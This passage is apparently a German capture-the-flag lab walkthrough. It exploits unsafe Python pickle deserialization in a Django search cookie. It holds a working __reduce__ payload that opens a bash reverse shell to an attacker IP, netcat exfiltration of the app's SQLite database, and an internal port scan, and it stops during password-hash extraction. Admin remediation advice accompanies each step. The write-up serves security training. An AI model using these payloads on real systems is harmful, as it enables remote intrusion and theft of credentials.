ecookie = "gASVCAAAAAAAAACMBG1pbHWULg=="
dcookie = base64.b64decode(ecookie) # Korrektur des Variablennamens im Skript
print(dcookie)
Analyse: Ich habe ein kleines Python-Skript erstellt, um den BASE64-kodierten Cookie-Wert zu dekodieren. Das Skript importiert die base64-Bibliothek, definiert den kodierten String und verwendet dann base64.b64decode(), um die ursprünglichen Bytes zu erhalten. Beim Ausführen des Skripts (python3 dcookie.py) wird die dekodierte Byte-Sequenz ausgegeben.
Bewertung: Die Ausgabe b'\x80\x04\x95\x08\x00\x00\x00\x00\x00\x00\x00\x8c\x04milu\x94.' bestätigt, dass es sich um Binärdaten handelt, die mit dem Pickle-Protokoll beginnen (\x80\x04 deutet auf Protokoll 4 hin). Die Bytes enthalten den String "milu". Dies ist die Deserialisierung des Werts "sssss", der im ursprünglichen Cookie durch "gASVCQAAAAAAAACMBXNzc3NzlC4=" ersetzt wurde. Dieses Verhalten – dass der Suchterm in irgendeiner Form im Cookie landet und serialisiert wird – erhärtet den Verdacht, dass der Server dieses Cookie wieder deserialisiert.
Empfehlung (Pentester): Das Dekodieren war erfolgreich. Der nächste Schritt ist die Disassemblierung des Pickle-Bytes, um die genaue Struktur des Objekts zu verstehen, das serialisiert wurde. Dies hilft dabei, einen schädlichen Payload zu konstruieren.
Empfehlung (Admin): Überprüfen Sie dringend den Code, der das search_cookie setzt und liest. Stellen Sie sicher, dass keine unsicheren Serialisierungsformate für benutzergenerierte oder vom Client stammende Daten verwendet werden.
┌──(root㉿CCat)-[~]
└─# python3 dcookie.py
b'\x80\x04\x95\x08\x00\x00\x00\x00\x00\x00\x00\x8c\x04milu\x94.'
Analyse: Um die Struktur des Pickle-Objekts im search_cookie besser zu verstehen, verwende ich das eingebaute pickletools-Modul in Python, speziell die dis() Funktion, die Pickle-Bytecode disassembliert. Ich starte eine interaktive Python-Session (python3), importiere die notwendigen Bibliotheken (base64, pickletools, io), dekodiere den BASE64-String wieder und übergebe die resultierenden Bytes an pickletools.dis().
Bewertung: Die Disassemblierung des Pickle-Objekts liefert die genauen Opcodes, die beim Deserialisieren ausgeführt werden. Die Ausgabe zeigt eine Sequenz von Opcodes, darunter PROTO 4 (Pickle-Protokoll Version 4), FRAME, SHORT_BINUNICODE 'milu' und STOP. Der entscheidende Punkt ist die Anwesenheit des Strings 'milu' (vom Suchbegriff 'sssss') und die Tatsache, dass dies ein Pickle-Objekt ist. Pickle kann Opcodes enthalten, die Code-Ausführung erlauben, insbesondere durch die Serialisierung von Klassen mit einer __reduce__ Methode. Da das System scheinbar pickle.loads() auf diesen Daten ausführt, kann ich einen bösartigen Payload erstellen, der die __reduce__ Methode nutzt, um einen Systembefehl auszuführen.
Empfehlung (Pentester): Bestätigung der Pickle-Deserialisierung. Jetzt ist das Ziel, einen Python-Code zu schreiben, der ein Objekt serialisiert, dessen Deserialisierung einen Befehl auf dem Zielsystem ausführt. Dieser Pickle-Payload wird dann BASE64-kodiert und im search_cookie an den Server gesendet.
Empfehlung (Admin): **Sofortmaßnahme:** Deaktivieren Sie die Funktionalität, die dieses search_cookie verwendet, oder ändern Sie das Serialisierungsformat auf etwas Sicheres wie JSON. Führen Sie einen Code-Audit durch, um alle Stellen zu identifizieren, an denen pickle.loads() mit unsicheren Datenquellen verwendet wird.
┌──(root㉿CCat)-[~]
└─# python3
Python 3.13.3 (main, Apr 10 2025, 21:38:51) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64, pickletools, io
>>> cookie_value_b64 = "gASVCAAAAAAAAACMBG1pbHWULg=="
>>> pickled_bytes = base64.b64decode(cookie_value_b64)
>>> print(pickled_bytes)
b'\x80\x04\x95\x08\x00\x00\x00\x00\x00\x00\x00\x8c\x04milu\x94.'
>>> disassembled_stream = io.BytesIO(pickled_bytes)
>>> pickletools.dis(disassembled_stream)
0: \x80 PROTO 4
2: \x95 FRAME 8
11: \x8c SHORT_BINUNICODE 'milu' <<<<----
17: \x94 MEMOIZE (as 0)
18: . STOP
highest protocol among opcodes = 4
Analyse: Basierend auf der Bestätigung der Pickle Deserialisierungs-Schwachstelle erstelle ich nun ein Python-Skript, um einen bösartigen Pickle-Payload zu generieren. Dieses Skript nutzt die Fähigkeit von Pickle, Klassen mit einer __reduce__ Methode zu serialisieren. Die __reduce__ Methode kann ein Tupel zurückgeben, das eine Funktion und ihre Argumente beschreibt, die während der Deserialisierung ausgeführt werden sollen.
Ich definiere eine Klasse namens RCE mit der __reduce__ Methode. Diese Methode gibt ein Tupel zurück, das die Funktion os.system und als Argument einen Bash-Befehl enthält. Der Befehl 'bash -c "bash -i >& /dev/tcp/{KALI_IP}/{LISTEN_PORT} 0>&1"' ist ein gängiger Bash Reverse Shell Payload. Er verbindet eine interaktive Bash-Shell über TCP mit meiner Angreifer-IP (KALI_IP) und dem Listener-Port (LISTEN_PORT), die im Skript definiert sind (192.168.2.199 auf Port 4444).
Das Skript erstellt eine Instanz der RCE-Klasse, serialisiert sie mit pickle.dumps() und kodiert das Ergebnis in BASE64 mit base64.b64encode(). Das BASE64-Ergebnis wird ausgegeben.
Bewertung: Dieses Skript implementiert die klassische Methode zur Ausnutzung von unsicherem Python Pickle Deserialization. Der generierte BASE64-String repräsentiert ein Python-Objekt, das, wenn es auf dem Zielsystem deserialisiert wird, den definierten Bash Reverse Shell-Befehl ausführt. Dies ist unser geplanter Weg zum initialen Systemzugriff.
Empfehlung (Pentester): Führen Sie dieses Skript aus, um den schädlichen BASE64-Payload zu erhalten. Bereiten Sie einen Netcat-Listener auf Ihrem Angreifer-System auf dem definierten Port vor. Senden Sie dann diesen Payload im search_cookie an den Webserver, um die Reverse Shell zu triggern.
Empfehlung (Admin): Verstehen Sie, dass unsichere Deserialisierung eine der gefährlichsten Schwachstellen ist, die zu direkter Remote Code Execution führt. Der Einsatz von Pickle mit unvertrauenswürdigen Daten muss eingestellt werden.
┌──(root㉿CCat)-[~]
└─# vi generat_rce.py
import pickle
import base64
import os
KALI_IP = "192.168.2.199"
LISTEN_PORT = 4444
class RCE:
def __reduce__(self):
cmd = f'bash -c "bash -i >& /dev/tcp/{KALI_IP}/{LISTEN_PORT} 0>&1"'
return (os.system, (cmd,))
payload_object = RCE()
pickled_bytes = pickle.dumps(payload_object)
base64_payload = base64.b64encode(pickled_bytes)
print(base64_payload.decode())
Analyse: Ich führe das generat_rce.py Skript aus, das ich gerade erstellt habe, um den BASE64-kodierten Python Pickle Payload zu erhalten. Der Befehl ist einfach python3 generat_rce.py.
Bewertung: Das Ergebnis ist der erwartete BASE64-String: gASVUAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDViYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xOTkvNDQ0NCAwPiYxIpSFlFKULg==. Dieser String enthält die serialisierte Form meiner RCE-Klasse und des Bash Reverse Shell Befehls. Diesen String werde ich im search_cookie des nächsten POST-Requests an /search verwenden, um die Schwachstelle auszunutzen und die Reverse Shell zu initiieren.
Empfehlung (Pentester): Kopieren Sie diesen generierten BASE64-String. Richten Sie nun einen Netcat-Listener auf Ihrem Angreifer-System ein. Ersetzen Sie im nächsten POST-Request an /search den ursprünglichen search_cookie-Wert durch diesen Payload und senden Sie den Request.
Empfehlung (Admin): Achten Sie auf ungewöhnliche Cookie-Werte, insbesondere solche, die wie BASE64-kodierte Binärdaten aussehen und in Verbindung mit POST-Requests stehen. Implementieren Sie Intrusion Detection Systems (IDS) oder Web Application Firewalls (WAFs), die bekannte Muster von Serialisierungs-Exploits erkennen können.
┌──(root㉿CCat)-[~]
└─# python3 generat_rce.py
gASVUAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDViYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xOTkvNDQ0NCAwPiYxIpSFlFKULg==
Analyse: Nun ist der Moment gekommen, die Pickle Deserialisierungs-Schwachstelle auszunutzen. Ich sende erneut einen HTTP POST-Request an den /search-Pfad, genau wie bei der Analyse des Cookies zuvor. Der entscheidende Unterschied ist, dass ich den Wert des search_cookie im Cookie-Header durch den BASE64-kodierten, bösartigen Pickle-Payload ersetze, den ich im vorherigen Schritt generiert habe (gASVUAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDViYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xOTkvNDQ0NCAwPiYxIpSFlFKULg==). Der csrfmiddlewaretoken wird ebenfalls mitgesendet, um CSRF-Prüfungen zu umgehen (obwohl es hier wahrscheinlich nicht relevant wäre, da der Angriff über das Cookie und nicht über das Formular erfolgt). Der query=sssss Parameter wird beibehalten, obwohl sein Inhalt in diesem Fall irrelevant sein sollte, da der Payload im Cookie liegt. Ich sende diesen Request, während ein Netcat-Listener auf meinem Angreifer-System läuft.
Bewertung: Dieser Request ist der Auslöser für die Remote Code Execution. Wenn der Server das modifizierte search_cookie liest und dessen Inhalt deserialisiert, sollte der im Payload eingebettete Systembefehl (bash -c "bash -i >& /dev/tcp/192.168.2.199/4444 0>&1") ausgeführt werden. Das erwartete Ergebnis ist eine eingehende Verbindung von der Zielmaschine auf meinem Netcat-Listener, die mir eine interaktive Shell gibt.
Empfehlung (Pentester): Überprüfen Sie sofort den Netcat-Listener. Bei Erfolg haben Sie initialen Zugriff auf das System. Dokumentieren Sie die erhaltene Shell und die Berechtigungen, mit denen Sie gestartet sind.
Empfehlung (Admin): Dies demonstriert die direkte Ausnutzung einer schwerwiegenden Schwachstelle. Überwachen Sie Webserver-Logs und Netzwerkverkehr auf ungewöhnliche Anfragen, insbesondere solche mit manipulierten Cookies oder unerwartetem BASE64-Inhalt. Implementieren Sie strenge Input-Validierung und verwenden Sie sichere Programmierpraktiken, um Deserialisierungsangriffe zu verhindern.
PST /search HTTP/1.1
Host: 192.168.2.48:5003
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.2.48:5003/
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
Origin: http://192.168.2.48:5003
DNT: 1
Connection: keep-alive
Cookie: csrftoken=J167sPVx1AW33KOvUsajp8TnFZaWAHmc3MXApp3e5z9QuhRLZww7eDzpn0GiERaw; search_cookie="gASVUAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDViYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xOTkvNDQ0NCAwPiYxIpSFlFKULg=="
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Priority: u=0, i
csrfmiddlewaretoken=aqH27U6WwAnfzoreXF9ci1La9scPubV9ubyv4ueDAzA20Vuu2Jv07wrcRtIbylJt&query=sssss
Analyse: Vor dem Senden des bösartigen POST-Requests habe ich, wie geplant, einen Netcat-Listener auf meinem Angreifer-System gestartet. Der Befehl nc -lvnp 4444 richtet einen Listener ein, der auf Port 4444 lauscht:
- -l: Listen-Modus
- -v: Verbose-Modus, zeigt Verbindungsinformationen
- -n: Numerische Adressen, keine DNS-Auflösung
- -p 4444: Gibt den Port an, auf dem gelauscht werden soll.
Nach dem Senden des POST-Requests an /search auf der Ziel-VM zeigt die Ausgabe des Netcat-Listeners eine eingehende Verbindung von der IP-Adresse des Ziels (192.168.2.48) auf dem Port 32918. Dies bestätigt, dass der Pickle Payload erfolgreich ausgeführt wurde und die Reverse Shell initiiert hat. Die folgenden Zeilen bash: cannot set terminal process group (1): Inappropriate ioctl for device und bash: no job control in this shell sind typische Meldungen für eine nicht vollständig interaktive Shell, die aber für die Ausführung von Befehlen ausreicht. Der id Befehl wurde sofort ausgeführt, um die aktuellen Benutzerberechtigungen zu prüfen.
Bewertung: Fantastisch! Der initiale Zugriff war erfolgreich, nun habe ich mein Ziel erreicht! Die eingehende Verbindung und die Ausgabe des id-Befehls, der uid=0(root) gid=0(root) groups=0(root) zeigt, bestätigen, dass die Reverse Shell mit Root-Berechtigungen ausgeführt wurde. Das ist ein kritischer Erfolg, der die Schwere der Pickle Deserialisierungs-Schwachstelle unterstreicht. Ich habe direkten Systemzugriff, wenn auch zunächst in einer eingeschränkten Shell. Die anschließenden ls-Befehle zeigen die Dateistruktur im aktuellen Verzeichnis (/home) und offenbaren Dateien wie requirements.sh, run.sh und das Verzeichnis site.
Empfehlung (Pentester): Sichern Sie die Shell, um sie stabiler zu machen und volle Terminalfunktionen zu erhalten (z.B. mit script /dev/null -c bash oder Python PTY-Shell). Beginnen Sie sofort mit der System-Enumeration, um zu verstehen, auf welchem System Sie sich befinden (Host oder Container?), welche Tools verfügbar sind und welche Privilegien Sie tatsächlich haben, um das endgültige Root auf dem Host-System zu erlangen.
Empfehlung (Admin): **Alarmstufe Rot:** Ein Angreifer hat Root-Zugriff über die Webanwendung erlangt. Die Schwachstelle muss sofort behoben werden (unsichere Deserialisierung). Isolieren Sie das kompromittierte System vom Netzwerk, um eine weitere Ausbreitung zu verhindern. Führen Sie eine umfassende Forensik durch, um das Ausmaß des Kompromittierung festzustellen. Überprüfen Sie alle Webanwendungen auf ähnliche unsichere Deserialisierungs- oder Remote Code Execution Schwachstellen.
┌──(root㉿CCat)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.48] 32918
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@8b39a559b296:/home# id
uid=0(root) gid=0(root) groups=0(root)
root@8b39a559b296:/home# ls
requirements.sh
run.sh
site
root@8b39a559b296:/home#
Proof of Concept: Remote Code Execution via Unsafe Pickle Deserialization
Kurzbeschreibung: Dieser Proof of Concept demonstriert, wie die identifizierte unsichere Deserialisierungs-Schwachstelle im search_cookie der Webanwendung ausgenutzt werden kann, um beliebigen Code mit Root-Berechtigungen auf dem Zielsystem auszuführen. Dies führte zur Erlangung einer Reverse Shell und damit zum initialen Zugriff auf das System.
Voraussetzungen:
- Zugriff auf das Netzwerk, in dem sich die Ziel-VM (192.168.2.48) befindet.
- Ein Angreifer-System (z.B. Kali Linux) mit installierten Tools (python3, base64, pickletools, os, nc, curl oder Web-Proxy wie Burp Suite).
- Kenntnisse über Python Pickle Deserialisierungsschwachstellen.
- Die IP-Adresse des Angreifer-Systems (192.168.2.199) und ein offener Port für den Netcat-Listener (4444).
Schritt-für-Schritt-Anleitung:
- **Identifizierung der Schwachstelle:** Durch Analyse des HTTP-Verkehrs und der Antwort des /search-Pfads wird das search_cookie identifiziert, dessen Wert eine BASE64-kodierte Python Pickle-Struktur zu sein scheint. (Siehe Schritte in der Web Enumeration).
- **Analyse des Pickle-Objekts:** Dekodieren und Disassemblieren des Cookie-Werts bestätigt die Verwendung von Pickle.
- **Erstellung des bösartigen Payloads:** Ein Python-Skript wird erstellt, das ein Objekt mit einer __reduce__-Methode definiert. Diese Methode enthält einen Reverse Shell-Bash-Befehl, der eine Verbindung zum Angreifer-System herstellen soll. Das Objekt wird serialisiert und in BASE64 kodiert.
- **Vorbereitung des Listeners:** Auf dem Angreifer-System wird ein Netcat-Listener auf dem im Payload definierten Port (z.B. 4444) gestartet: nc -lvnp 4444.
- **Ausführung des Exploits:** Ein HTTP POST-Request an den /search-Pfad wird gesendet. Im Cookie-Header wird der Wert des search_cookie durch den generierten, bösartigen BASE64-Payload ersetzt.
Erwartetes Ergebnis: Eine eingehende TCP-Verbindung von der Ziel-VM auf dem Netcat-Listener des Angreifer-Systems. Nach der Verbindung sollte eine interaktive Shell mit den Berechtigungen des Webserver-Prozesses (in diesem Fall Root) verfügbar sein.
Beweismittel:
┌──(root㉿CCat)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.48] 32918
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@8b39a559b296:/home# id
uid=0(root) gid=0(root) groups=0(root)
root@8b39a559b296:/home#
Risikobewertung: Die Ausnutzung dieser Schwachstelle ermöglicht einem unauthentifizierten Angreifer die vollständige Kontrolle über das kompromittierte System mit Root-Berechtigungen (im Kontext des Docker-Containers, was aber immer noch kritisch ist). Dies kann zu Datenverlust, unbefugtem Zugriff auf sensible Informationen, Installation von Malware oder einer Brücke für weitere Angriffe im Netzwerk führen.
Empfehlung (Admin): **Dringende Behebung erforderlich.** Stellen Sie die Verwendung von Python Pickle für die Serialisierung von Daten, die von Benutzern oder Clients stammen, sofort ein. Verwenden Sie sichere Serialisierungsformate. Implementieren Sie strenge Input-Validierung. Überwachen Sie den Netzwerkverkehr auf ungewöhnliche Muster. Führen Sie eine gründliche Sicherheitsüberprüfung der gesamten Webanwendung durch.
Privilege Escalation
Analyse: Nach der erfolgreichen Erlangung einer Root-Shell auf dem System ist es entscheidend, die Umgebung genau zu analysieren. Die Shell-Prompt root@8b39a559b296:/home# mit einer kurzen, zufällig aussehenden Hostnamen (8b39a559b296) und die Art der nicht-interaktiven Shell deuten stark darauf hin, dass ich mich nicht direkt auf dem Host-Betriebssystem befinde, sondern in einem Docker-Container. Dies wird durch den Befehl cat /proc/1/cgroup überprüft, der Informationen über die Control Groups (cgroup) des Prozesses mit PID 1 (dem ersten Prozess im Container, typischerweise Init) ausgibt.
Bewertung: Die Ausgabe von /proc/1/cgroup, die Pfade wie /docker/8b39a559b296... enthält, bestätigt zweifelsfrei, dass ich Root-Berechtigungen *innerhalb eines Docker-Containers* habe. Das bedeutet, meine Root-Rechte sind auf die isolierte Umgebung des Containers beschränkt. Die eigentlichen Flags (user.txt, root.txt) befinden sich wahrscheinlich auf dem zugrundeliegenden Host-System. Daher ist das Ziel nun die Privilegien-Eskalation *aus dem Container heraus* auf das Host-System.
Empfehlung (Pentester): Beginnen Sie mit der Enumeration innerhalb des Containers, um nach Konfigurationsfehlern, empfindlichen Dateien oder Mounts zu suchen, die einen Weg auf das Host-System ermöglichen könnten. Typische Angriffspunkte sind falsch konfigurierte Docker-Sockets, sensitive Dateien, die vom Host gemountet sind, oder Capabilities des Containers, die eine Interaktion mit dem Host erlauben.
Empfehlung (Admin): Stellen Sie sicher, dass Docker-Container mit den geringstmöglichen Privilegien laufen (Least Privilege Principle). Vermeiden Sie es, Container als Root zu starten. Beschränken Sie die Capabilities der Container. Mounten Sie keine sensiblen Host-Verzeichnisse oder den Docker-Socket in den Container, es sei denn, dies ist absolut notwendig und sicher konfiguriert. Überwachen Sie Container auf ungewöhnliche Aktivitäten oder Verbindungsversuche nach außen oder zum Host.
root@8b39a559b296:~# cd /home/
root@8b39a559b296:/home# cat run.sh
python3 site/manage.py runserver 0.0.0.0:5003
root@8b39a559b296:/home# cat /proc/1/cgroup
11:pids:/docker/8b39a559b296ca6a5dd86d4dcc8796db615ff05f518ba01884a717527259e3bc
10:blkio:/docker/8b39a559b296ca6a5dd86d4dcc8796db615ff05f518ba01884a717527259e3bc
9:freezer:/docker/8b39a559b296ca6a5dd86d4dcc8796db615ff05f518ba01884a717527259e3bc
8:perf_event:/docker/8b39a559b296ca6a5dd86d4dcc8796db615ff05f518ba01884a717527259e3bc
7:memory:/docker/8b39a559b296ca6a5dd86d4dcc8796db615ff05f518ba01884a717527259e3bc
6:hugetlb:/docker/8b39a559b296ca6a5dd86d4dcc8796db615ff05f518ba01884a717527259e3bc
5:cpu,cpuacct:/docker/8b39a559b296ca6a5dd86d4dcc8796db615ff05f518ba01884a717527259e3bc
4:cpuset:/docker/8b39a559b296ca6a5dd86d4dcc8796db615ff05f518ba01884a717527259e3bc
3:net_cls,net_prio:/docker/8b39a559b296ca6a5dd86d4dcc8796db615ff05f518ba01884a717527259e3bc
2:devices:/docker/8b39a559b296ca6a5dd86d4dcc8796db615ff05f518ba01884a717527259e3bc
1:name=systemd:/docker/8b39a559b296ca6a5dd86d4dcc8796db615ff05f518ba01884a717527259e3bc
Analyse: Ein wichtiger Aspekt der Container-Sicherheit sind Linux Capabilities. Standardmäßig haben Root-Benutzer im Container viele, aber nicht alle Capabilities des Host-Roots. Der Befehl capsh --print zeigt die aktuellen Capabilities des Prozesses an. Die Ausgabe listet die Current und Bounding set von Capabilities auf, wie z.B. cap_chown, cap_net_raw, cap_setuid etc.
Bewertung: Die aufgelisteten Capabilities sind die, mit denen der Root-Prozess im Container arbeiten kann. Die meisten davon sind Standard-Capabilities für Root innerhalb eines Containers. Es gibt keine offensichtlichen ungewöhnlichen oder übermäßig gefährlichen Capabilities (wie cap_sys_admin oder das Mounten von Dateisystemen), die einen direkten Ausbruch ermöglichen würden. Dies deutet darauf hin, dass ein Ausbruch über ungewöhnliche Container-Capabilities unwahrscheinlich ist. Der Fokus sollte auf anderen Schwachstellen liegen, wie falsch gemounteten Verzeichnissen, schwachen Host-Diensten, oder Konfigurationen, die einen Zugriff auf das Host-System erlauben.
Empfehlung (Pentester): Da Capabilities keinen offensichtlichen Ausbruch erlauben, konzentrieren Sie sich auf andere Enumerationsschritte innerhalb des Containers: Suchen Sie nach sensiblen Dateien (Konfigurationsdateien, Passwörter), identifizieren Sie gemountete Verzeichnisse (mount Befehl), scannen Sie das interne Container-Netzwerk, um andere Dienste oder Container zu finden, und suchen Sie nach Anzeichen für den Docker-Socket oder andere Verwaltungsschnittstellen.
Empfehlung (Admin): Überprüfen Sie die Capability-Konfiguration Ihrer Docker-Container. Führen Sie Container mit einem minimalen Set von Capabilities aus, die nur für die spezifische Funktion des Containers notwendig sind. Vermeiden Sie die Option --privileged, die alle Host-Capabilities dem Container gibt.
root@8b39a559b296:~# capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=
Analyse: Da ich mich in einem Docker-Container befinde, überprüfe ich die Netzwerkkonfiguration innerhalb des Containers, um zu sehen, ob andere interne Netzwerke oder Hosts erreichbar sind. Der Befehl ip a zeigt die Netzwerkschnittstellen und IP-Adressen des Containers. Die Ausgabe zeigt die Loopback-Schnittstelle (lo) und eine Ethernet-Schnittstelle (eth0@if5) mit der IP-Adresse 172.17.0.2/16. Dies ist ein typisches Docker-Bridge-Netzwerk. Der Host, der diesen Container ausführt, hat normalerweise die IP-Adresse 172.17.0.1 in diesem Subnetz.
Um zu prüfen, welche Ports auf dem Host (oder anderen Systemen im internen Docker-Netzwerk) von meinem Container aus erreichbar sind, führe ich einen Netcat-Scan auf der IP-Adresse 172.17.0.1 über alle Ports (1-65535) durch. Der Befehl nc -znv 172.17.0.1 1-65535 nutzt Netcat im Zero-I/O-Modus (-z) zum Scannen, ohne Daten zu senden oder zu empfangen.
Bewertung: Der interne Netzwerkscan ist erfolgreich und zeigt, dass von meinem Container aus die Ports 5003/tcp (http) und 22/tcp (ssh) auf der IP-Adresse 172.17.0.1 offen sind. Die IP 172.17.0.1 ist sehr wahrscheinlich die Bridge-IP des Docker-Hosts. Die Tatsache, dass diese Ports offen sind und vom Container aus erreichbar sind, ist von höchstem Interesse. Port 5003 ist der Webserver, über den ich initialen Zugriff erlangt habe, jetzt aber vom internen Netzwerk aus erreichbar. Port 22 (SSH) auf dem Host-System ist ein potenzieller Weg zur Privilegien-Eskalation, wenn Anmeldedaten gefunden werden können.
Empfehlung (Pentester): Konzentrieren Sie die Enumeration nun auf die Dienste, die auf 172.17.0.1 laufen. Versuchen Sie, sich über SSH mit den identifizierten Benutzernamen (ramsey, wan, oliver) und den später möglicherweise gefundenen Passwörtern anzumelden. Untersuchen Sie auch den Webserver (Port 5003) von dieser internen Position aus, da es dort möglicherweise andere Schwachstellen oder Zugänge gibt als von außen.
Empfehlung (Admin): Konfigurieren Sie Docker-Netzwerke standardmäßig so, dass Container nicht auf alle Ports des Hosts zugreifen können, es sei denn, dies ist explizit für die Anwendung notwendig. Beschränken Sie den Netzwerkzugriff zwischen Containern und dem Host, um die Angriffsfläche im Falle einer Container-Kompromittierung zu minimieren. Stellen Sie sicher, dass interne Dienste auf dem Host, die nur für administrative Zwecke gedacht sind, nicht über die Docker-Bridge erreichbar sind.
root@8b39a559b296:/home/site# ip a
1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
4: eth0@if5: mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever
root@8b39a559b296:/home/site# nc -znv 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 5003 (?) open
(UNKNOWN) [172.17.0.1] 22 (ssh) open
Analyse: Während der Enumeration innerhalb des Containers fiel mir das Verzeichnis site im /home-Verzeichnis auf. Da die Webanwendung eine Django-Anwendung ist, vermute ich, dass sich die Anwendungsdateien, einschließlich der Django-Einstellungen und möglicherweise einer lokalen Datenbank, in diesem Verzeichnis befinden. Ich beschließe, die SQLite-Datenbank-Datei aus dem Container auf mein Angreifer-System zu exfiltrieren.
Ich verwende Netcat (nc) für die Exfiltration. Auf meinem Angreifer-System starte ich einen Listener auf Port 7777, der alle eingehenden Daten in eine Datei namens db.sqlite3 umleitet (nc -lvp 7777 > db.sqlite3).
Auf der Container-Shell navigiere ich zum site-Verzeichnis (cd /home/site) und sende den Inhalt der Datei db.sqlite3 über eine Netcat-Verbindung an meinen Listener (nc -q 0 192.168.2.199 7777 < db.sqlite3).
- -q 0: Sorgt dafür, dass Netcat die Verbindung sofort nach dem Senden der Datei schließt.
- < db.sqlite3: Leitet den Inhalt der Datei als Standardeingabe an Netcat um.
Bewertung: Die Exfiltration der Datenbankdatei ist erfolgreich. Eine SQLite-Datenbank kann sehr sensible Informationen enthalten, wie Benutzerkonten, gehashte Passwörter, Konfigurationseinstellungen oder Anwendungsdaten. Die Dateigröße von 151552 Bytes für db.sqlite3 deutet darauf hin, dass sie Daten enthält. Das Ziel ist nun, den Inhalt dieser Datenbank zu analysieren, insbesondere die Benutzerkonten-Tabelle, um Hashes oder Anmeldedaten zu finden, die für die Privilegien-Eskalation auf dem Host-System nützlich sein könnten (z.B. SSH-Zugang). Die run.sh Datei wurde ebenfalls gesichert, um zu sehen, wie die Anwendung gestartet wird.
Empfehlung (Pentester): Öffnen Sie die exfiltrierte db.sqlite3-Datei mit einem SQLite-Client, untersuchen Sie die Tabellen und extrahieren Sie alle relevanten Daten, insbesondere Benutzernamen und gehashte Passwörter. Versuchen Sie, die Hashes zu knacken. Analysieren Sie auch die run.sh-Datei auf weitere Konfigurationsdetails oder Hinweise.
Empfehlung (Admin): Speichern Sie sensible Daten wie Datenbankdateien nicht an öffentlich zugänglichen Orten innerhalb des Containers oder an Orten, die leicht exfiltriert werden können. Erwägen Sie die Verschlüsselung von Datenbanken. Implementieren Sie Mechanismen, um das unbefugte Auslesen von Dateien zu erkennen und zu verhindern. Überwachen Sie den Netzwerkverkehr aus Containern auf ungewöhnliche Verbindungen zu externen Systemen, die auf Datenexfiltration hindeuten könnten.
┌──(root㉿CCat)-[~]
└─# nc -lvp 7777 > db.sqlite3
listening on [any] 7777 ...
connect to [192.168.2.199] from unbakedpie.hmv [192.168.2.48] 46908
id
root@8b39a559b296:/home# nc 192.168.2.199 7777 < run.sh
id
root@8b39a559b296:/home/site# nc -q 0 192.168.2.199 7777 < db.sqlite3
┌──(root㉿CCat)-[~]
└─# nc -lvp 7777 > db.sqlite3
listening on [any] 7777 ...
connect to [192.168.2.199] from unbakedpie.hmv [192.168.2.48] 46910
┌──(root㉿CCat)-[~]
└─# ls -la run.sh db.sqlite3
-rw-r--r-- 1 root root 151552 16. Jun 15:58 db.sqlite3
-rw-r--r-- 1 root root 46 16. Jun 15:54 run.sh
Analyse: Ich habe die exfiltrierte db.sqlite3 Datei auf meinem Angreifer-System und verwende nun den Befehl sqlite3 db.sqlite3, um die Datenbank zu öffnen und ihren Inhalt zu untersuchen. Innerhalb des SQLite-Prompts verwende ich den Befehl .tables, um alle verfügbaren Tabellen aufzulisten. Die Ausgabe zeigt verschiedene Tabellen, darunter auth_group, auth_permission, auth_user, django_admin_log, etc. Die Tabelle auth_user ist offensichtlich diejenige, die die Benutzerkonten speichert.
Ich führe dann eine SQL-Abfrage aus: SELECT * FROM auth_user;, um alle Spalten und Zeilen aus dieser Tabelle anzuzeigen. Diese Abfrage liefert die Benutzer-IDs, Benutzernamen (aniqfakhrul, testing, ramsey, oliver, wan), sowie gehashte Passwörter und andere Details.
Ich führe eine weitere, gezieltere Abfrage aus: SELECT username, password FROM auth_user;, um speziell die Benutzernamen und die zugehörigen gehashten Passwörter zu extrahieren. Die Hashes haben das Format pbkdf2_sha256$XXXXXX$..., was auf Django's Standard-Passwort-Hashing-Format hinweist.
